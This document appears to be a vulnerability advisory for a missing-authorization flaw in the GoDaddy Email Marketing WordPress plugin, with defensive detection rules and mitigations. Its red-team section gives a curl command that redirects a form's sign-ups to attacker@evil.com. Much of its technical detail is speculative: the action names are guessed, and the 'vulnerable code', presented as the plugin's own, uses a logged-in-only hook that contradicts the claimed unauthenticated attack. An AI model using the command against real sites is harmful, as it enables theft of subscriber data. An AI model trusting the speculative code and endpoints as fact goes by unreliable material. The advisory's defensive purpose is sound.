CVE-2023-49156

Executive Summary

CVE-2023-49156 is a Missing Authorization vulnerability in the GoDaddy Email Marketing plugin for WordPress (plugin slug: godaddy-email-marketing-sign-up-forms). This flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially leading to unauthorized data exposure or manipulation of email marketing sign-up forms. The vulnerability affects all versions up to and including 1.4.3. As of this report, no official patch has been released by GoDaddy, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, given the widespread use of WordPress and the plugin’s integration with GoDaddy’s email marketing services, this vulnerability poses a significant risk to site owners who rely on the plugin for lead generation.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and is maintained by GoDaddy. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors leveraging this flaw in targeted attacks.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability is easy to exploit remotely without authentication, but the impact is limited to low integrity compromise (e.g., modifying form data or redirecting submissions). No public exploit code or proof-of-concept has been released, reducing immediate risk.

Deep Dive & Mechanics

The vulnerability resides in the godaddy-email-marketing-sign-up-forms plugin, which provides shortcodes and widgets for embedding email sign-up forms on WordPress sites. The plugin fails to properly enforce authorization checks on certain AJAX actions or REST API endpoints, allowing unauthenticated users to perform actions that should require administrative privileges.

Root Cause: The plugin uses wp_ajax_* hooks without verifying the current_user_can() capability, or it exposes REST API routes without proper permission callbacks. This enables an attacker to send crafted requests to manipulate form settings, export subscriber data, or redirect form submissions to malicious servers.

Attack Vector: An attacker can send a POST request to a vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=godaddy_email_marketing_update_form) with arbitrary parameters. Since no nonce or capability check is performed, the request is processed as if it came from an administrator.

Impact: Successful exploitation could allow an attacker to:

• Modify existing sign-up forms (e.g., change the email recipient address).
• Create new forms with malicious redirect URLs.
• Exfiltrate subscriber data if the plugin exposes export functionality.
• Disable or delete forms, causing denial of service for email marketing operations.

Vulnerable vs. Patched Code

Since no official patch is available, the following analysis is based on the vulnerable code pattern.

Vulnerable Code (example from plugin version 1.4.3):

add_action('wp_ajax_godaddy_email_marketing_update_form', 'godaddy_email_marketing_update_form_callback');
function godaddy_email_marketing_update_form_callback() {
    // Missing capability check
    $form_id = $_POST['form_id'];
    $form_data = $_POST['form_data'];
    // Update form in database
    update_option('godaddy_email_marketing_form_' . $form_id, $form_data);
    wp_die();
}

Patched Code (hypothetical fix):

add_action('wp_ajax_godaddy_email_marketing_update_form', 'godaddy_email_marketing_update_form_callback');
function godaddy_email_marketing_update_form_callback() {
    // Add capability check
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    // Verify nonce
    if (!wp_verify_nonce($_POST['_wpnonce'], 'godaddy_email_marketing_nonce')) {
        wp_die('Nonce verification failed', 403);
    }
    $form_id = sanitize_text_field($_POST['form_id']);
    $form_data = map_deep($_POST['form_data'], 'sanitize_text_field');
    update_option('godaddy_email_marketing_form_' . $form_id, $form_data);
    wp_die();
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with the GoDaddy Email Marketing plugin version <= 1.4.3 installed and activated.
• Network access to the target site.

Exploitation Steps:

1. Identify the vulnerable AJAX action by inspecting the plugin’s JavaScript files or source code. Common actions include godaddy_email_marketing_update_form, godaddy_email_marketing_export_subscribers, or godaddy_email_marketing_delete_form.
2. Craft a POST request to /wp-admin/admin-ajax.php with the action parameter and desired payload.
3. Send the request using curl or a tool like Burp Suite.

Example curl command to modify a form:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=godaddy_email_marketing_update_form&form_id=1&form_data[recipient_email]=attacker@evil.com"

Expected Outcome: The form’s recipient email is changed to the attacker’s address, allowing interception of future sign-up submissions.

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-ajax.php with action parameters containing godaddy_email_marketing_*.
• Alert on requests from IP addresses not associated with known administrators.
• Check for sudden changes in form settings or subscriber export activity.

Hardening:

• Disable the plugin until a patch is released.
• Implement a Web Application Firewall (WAF) rule to block requests to vulnerable AJAX actions from unauthenticated users.
• Use a security plugin like Wordfence to add virtual patching for known vulnerabilities.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=godaddy_email_marketing_* parameters.
  • Unusual outbound connections from the WordPress server to unknown IP addresses (potential data exfiltration).
• File IOCs:
  • Modified plugin files in /wp-content/plugins/godaddy-email-marketing-sign-up-forms/.
  • Unexpected entries in the wp_options table with keys like godaddy_email_marketing_form_*.
• Log IOCs:
  • Repeated 403 errors from AJAX requests (if WAF blocks them).
  • Successful AJAX requests from IPs not in the admin whitelist.

Detection Engineering

YARA Rule

rule CVE_2023_49156_GoDaddy_Email_Marketing {
    meta:
        description = "Detects exploitation attempts of CVE-2023-49156 in GoDaddy Email Marketing plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-49156"
    strings:
        $ajax_action = /action=godaddy_email_marketing_(update_form|export_subscribers|delete_form)/
        $wp_admin = /\/wp-admin\/admin-ajax\.php/
    condition:
        $wp_admin and $ajax_action
}

Sigma Rule

title: CVE-2023-49156 GoDaddy Email Marketing Missing Authorization
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated AJAX requests targeting GoDaddy Email Marketing plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=godaddy_email_marketing_'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-49156 GoDaddy Email Marketing Missing Authorization"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/wp-admin/admin-ajax.php"; http.client_body; content:"action=godaddy_email_marketing_"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if it is not critical for business operations.
2. Apply virtual patching via WAF rules to block unauthenticated AJAX requests to the plugin’s endpoints.
3. Monitor logs for any signs of exploitation (see IOCs).

Long-term Fix:

• Wait for GoDaddy to release an official patch. As of this report, no patch is available.
• Consider migrating to an alternative email marketing plugin that is actively maintained and has a proven security track record.

Workaround:

• Add the following code to the theme’s functions.php file to enforce capability checks (note: this may break plugin functionality):

add_action('init', function() {
    if (defined('DOING_AJAX') && DOING_AJAX) {
        $action = $_REQUEST['action'] ?? '';
        if (strpos($action, 'godaddy_email_marketing_') === 0 && !current_user_can('manage_options')) {
            wp_die('Unauthorized', 403);
        }
    }
});

Valters IT